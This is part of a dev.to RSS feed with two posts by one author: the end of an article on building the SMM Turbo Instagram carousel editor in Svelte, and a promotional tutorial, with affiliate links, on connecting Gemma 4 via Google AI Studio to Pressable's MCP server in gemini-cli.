            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentSlides&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;

        &lt;span class="nf"&gt;undo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentSlides&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyIndex&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createEditorState&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every time an element's coordinates change (Drag &amp;amp; Drop), &lt;code&gt;editor.saveState()&lt;/code&gt; is called, which adds a new snapshot of the data to the history array. Now the user can safely press &lt;code&gt;Ctrl+Z&lt;/code&gt;, and the system will instantly revert the changes.&lt;/p&gt;

&lt;h2&gt;
  
  
  📦 Storage and Integration with Stocks
&lt;/h2&gt;

&lt;p&gt;So that users don't lose their masterpieces after closing the tab, I connected a backend based on &lt;strong&gt;Supabase&lt;/strong&gt; (PostgreSQL + Auth + Storage). &lt;/p&gt;

&lt;p&gt;Authorization takes a few seconds. After that, all your projects are automatically saved to the cloud database. To upload your own images, I use &lt;em&gt;Supabase Storage&lt;/em&gt;, generating unique file names so they don't overwrite each other.&lt;/p&gt;

&lt;p&gt;I also integrated the free photo stock &lt;strong&gt;Pixabay&lt;/strong&gt;. The user can directly in the editor enter a search query in English (e.g., &lt;em&gt;dark space, aesthetic coffee&lt;/em&gt;), get a grid of results through the Pixabay API, and with one click set the image as the slide background or add it as a separate element.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/wordpress-com-design-global-styles-css/" rel="noopener noreferrer"&gt;Full design control on WordPress.com: Global Styles and custom CSS&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  🏁 Conclusion
&lt;/h2&gt;

&lt;p&gt;Creating your own technical product is always a challenge, but it's an incredible experience. &lt;strong&gt;SMM Turbo&lt;/strong&gt; grew from a simple idea for personal needs into a full-fledged &lt;strong&gt;graphic editor for creating Instagram carousels&lt;/strong&gt;, capable of closing 90% of a marketer's or developer's daily tasks.&lt;/p&gt;

&lt;p&gt;A lightning-fast interface on Svelte 5, powerful artificial intelligence "under the hood", seamless background removal, and complete freedom of action (without annoying watermarks or limits) make it a great alternative to paid monopolists.&lt;/p&gt;

&lt;p&gt;🔥 &lt;strong&gt;Want to try this magic for yourself?&lt;/strong&gt; My editor is completely free and already available for testing. Go to the platform and create your first conversion carousels faster than AI! &lt;/p&gt;

&lt;p&gt;And if you want to support the project, you can always treat me to a coffee through the link in the editor itself. 😉&lt;/p&gt;




&lt;blockquote&gt;
&lt;h3&gt;
  
  
  🚀 Try SMM Turbo right now
&lt;/h3&gt;

&lt;p&gt;No subscriptions, payments, or hidden fees. Experience the speed of Svelte 5 and the intelligence of Gemma 4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://smm.shcho-i-yak.pp.ua" rel="noopener noreferrer"&gt;👉 Open SMM Turbo Editor&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>ai</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Gemma 4 and Pressable MCP: safe AI hosting in Linux terminal</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Wed, 13 May 2026 07:37:13 +0000</pubDate>
      <link>https://dev.to/digital-abetka/gemma-4-and-pressable-mcp-safe-ai-hosting-in-linux-terminal-5aj9</link>
      <guid>https://dev.to/digital-abetka/gemma-4-and-pressable-mcp-safe-ai-hosting-in-linux-terminal-5aj9</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Transparency:&lt;/strong&gt; this article contains affiliate links. If you purchase hosting through my link, I will receive a small commission at no additional cost to you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/gemma4"&gt;Gemma 4 Challenge: Write About Gemma 4&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: My Tokens Are Flying to Google Cloud
&lt;/h2&gt;

&lt;p&gt;A few weeks ago, I shared how I set up &lt;strong&gt;Gemini CLI for managing Pressable servers&lt;/strong&gt; directly from the Fedora terminal: no browser, no extra clicks - just commands, and the server infrastructure obeys.&lt;/p&gt;

&lt;p&gt;But the euphoria quickly turned into a question: "Where are my confidential tokens being processed?"&lt;/p&gt;

&lt;p&gt;The access key to the production server was flying to Google Cloud. Logs, PHP versions, site structure - everything was passing through someone else's data center. It's like giving your apartment keys to your neighbors: they might be decent people, but it's more peaceful when the keys are only with you. 😎&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; I switched to &lt;strong&gt;Gemma 4&lt;/strong&gt; - an open model from Google with an Apache 2.0 license, which gives full control over the data. And I found a hybrid approach for those whose laptop physically can't handle 32 GB of RAM: I run Gemma 4 through Google AI Studio, getting all the power of the model without expensive hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  Gemini CLI vs Gemma 4: Comparison for DevOps
&lt;/h2&gt;

&lt;p&gt;Before diving into the terminal, let's put the dots over the "i". Here are the key criteria that influenced my choice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Criterion&lt;/th&gt;
&lt;th&gt;Gemini (Cloud)&lt;/th&gt;
&lt;th&gt;Gemma 4 (API / Local)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Confidentiality&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data is transmitted to Google servers 😟&lt;/td&gt;
&lt;td&gt;Data does not leave the perimeter. Even through the Google AI Studio API, it is not used for training 🛡️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;License&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Proprietary 🔒&lt;/td&gt;
&lt;td&gt;Apache 2.0 - free commercial use, modification, distribution 🔓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Context Window&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Up to 1 million tokens 🚀&lt;/td&gt;
&lt;td&gt;128K tokens - enough for analyzing large server logs ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advanced Thinking&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes 💡&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;thinking: true&lt;/code&gt; - models 26B and 31B have a thinking mode, ideal for diagnostics 🧠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Paid after limits are exhausted 💸&lt;/td&gt;
&lt;td&gt;Free tier in AI Studio 🆓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Autonomy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires internet ☁️&lt;/td&gt;
&lt;td&gt;Can work fully offline on your own server 🏠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Customization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Limited ⛔&lt;/td&gt;
&lt;td&gt;Full freedom: fine-tuning, running on your own hardware ⚙️&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For managing WordPress hosting through &lt;strong&gt;Pressable MCP&lt;/strong&gt;, I chose &lt;strong&gt;Gemma 4 31B (Dense)&lt;/strong&gt; - the most powerful model in the lineup with &lt;code&gt;thinking: true&lt;/code&gt;, capable of analyzing complex API responses and making informed decisions.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/pressable-mcp-gemini-cli-linux" rel="noopener noreferrer"&gt;AI WordPress Hosting Management via Linux CLI&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 1: Creating an API Key for Gemma 4 in Google AI Studio
&lt;/h2&gt;

&lt;p&gt;Any path begins with the first step. We will receive the access key not in Google Cloud, but in &lt;strong&gt;Google AI Studio&lt;/strong&gt; - this is free and does not require a bank card.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://aistudio.google.com" rel="noopener noreferrer"&gt;aistudio.google.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;In the left menu, select &lt;strong&gt;API Keys&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Create API key&lt;/strong&gt; and select a project (or create a new one, for example, &lt;code&gt;Pressable Gemma 4 Agent&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Copy the generated key&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;IMPORTANT:&lt;/strong&gt; the key will be shown only once. Save it immediately.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzu1yplp4hoq8cbk2vn7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzu1yplp4hoq8cbk2vn7.webp" alt="Screenshot of Google AI Studio with the selection of the Pressable Gemma 4 Agent project" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, export the key to an environment variable in the Fedora terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;GEMINI_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"AIzaSy...your_new_key"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 2: First Run of Gemma 4 in the Linux Terminal
&lt;/h2&gt;

&lt;p&gt;The most interesting moment - checking if the model responds. We use &lt;code&gt;gemini-cli&lt;/code&gt;, explicitly specifying the model through the &lt;code&gt;--model&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini &lt;span class="nt"&gt;--model&lt;/span&gt; models/gemma-4-31b-it &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Say hello from Gemma 4 31B"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello! Gemma 4 31B here. How can I help you today?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model works! 🤖&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx7g83ditvg94ky6ghc7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx7g83ditvg94ky6ghc7.webp" alt="Terminal with a successful first run of Gemma 4 31B" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: Connecting Pressable MCP to Gemma 4
&lt;/h2&gt;

&lt;p&gt;Now, the main thing: connect Gemma 4 to &lt;strong&gt;Pressable MCP&lt;/strong&gt;, so that the model can directly manage hosting through the &lt;strong&gt;Model Context Protocol&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1. Removing the Old Configuration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini mcp remove pressable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2. Adding the Pressable MCP Server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini mcp add pressable https://mcp.pressable.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3. Specifying the Authorization Token
&lt;/h3&gt;

&lt;p&gt;Open the configuration file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano /mnt/DATA/pressable-mcp-project/.gemini/settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the Pressable Access Token to the &lt;code&gt;headers&lt;/code&gt; section:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"pressable"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://mcp.pressable.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"headers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Authorization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bearer YOUR_PRESSABLE_ACCESS_TOKEN"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4. Checking the Connection Status
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini mcp list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see the desired green status - &lt;strong&gt;Connected!&lt;/strong&gt; 🟢&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frejlfwzlhfua8mosr1f9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frejlfwzlhfua8mosr1f9.webp" alt="Successful connection of Pressable MCP to Gemma 4 in the terminal" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4: Gemma 4 as an AI Administrator of the Server
&lt;/h2&gt;

&lt;p&gt;Launch an interactive chat with Gemma 4:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini chat &lt;span class="nt"&gt;-m&lt;/span&gt; models/gemma-4-31b-it
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Give a combat task (in English - this is how the API works most accurately):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; Please list all the sites on my Pressable account
  and tell me the PHP version of shchoiyak-sandbox.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the magic of the &lt;strong&gt;Model Context Protocol&lt;/strong&gt; happens: Gemma 4 understands that it needs the &lt;code&gt;search_sites&lt;/code&gt; tool and requests permission to execute it. Choose &lt;strong&gt;Allow once&lt;/strong&gt; or &lt;strong&gt;Allow all server tools for this session&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw0lx4g52x5607ygkd70b.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw0lx4g52x5607ygkd70b.webp" alt="Gemma 4 requests permission to use the search_sites tool through Pressable MCP" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The model receives raw JSON from the Pressable API, analyzes it thanks to the &lt;code&gt;thinking: true&lt;/code&gt; mode, and provides a clear response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;Domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;     &lt;span class="s"&gt;shchoiyak-sandbox.mystagingwebsite.com&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;PHP Version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8.5&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;State&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;       &lt;span class="s"&gt;live&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;Datacenter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;  &lt;span class="s"&gt;BUR (Burbank, CA)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft05d0olc8mdphun2w8z4.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft05d0olc8mdphun2w8z4.webp" alt="Gemma 4's response with detailed information about the site on Pressable" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; without any browser and login to the control panel - all critical information is right in the terminal.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion: Why Gemma 4 for DevOps is the Right Choice
&lt;/h2&gt;

&lt;p&gt;Switching from Gemini CLI to &lt;strong&gt;Gemma 4 + Pressable MCP&lt;/strong&gt; is not just a model replacement. It's a fundamental change in approach to &lt;strong&gt;security and control over data&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Confidential tokens do not leave your perimeter&lt;/li&gt;
&lt;li&gt;✅ Apache 2.0 license - complete freedom for commercial projects&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;thinking: true&lt;/code&gt; mode for deep analysis of server logs&lt;/li&gt;
&lt;li&gt;✅ Free access through Google AI Studio&lt;/li&gt;
&lt;li&gt;✅ Ability to work fully offline on your own server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Yes, running &lt;strong&gt;Gemma 4 31B&lt;/strong&gt; locally requires a powerful server. But even through Google AI Studio, it's free, secure, and preserves the main thing - openness and independence.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try Pressable for Your WordPress Projects
&lt;/h2&gt;

&lt;p&gt;Want to manage servers like a real AI-ninja? Refuse routine clicking and switch to infrastructure created by the same people who write the WordPress core.&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://automattic.pxf.io/c/6341363/3864277/22744" rel="noopener noreferrer"&gt;Try AI management from Pressable today&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And if you need fast and stylish creatives for your new site's social media - use the free graphic editor &lt;strong&gt;&lt;a href="https://smm.shcho-i-yak.pp.ua" rel="noopener noreferrer"&gt;SMM Turbo&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>gemma</category>
    </item>
  </channel>
</rss>
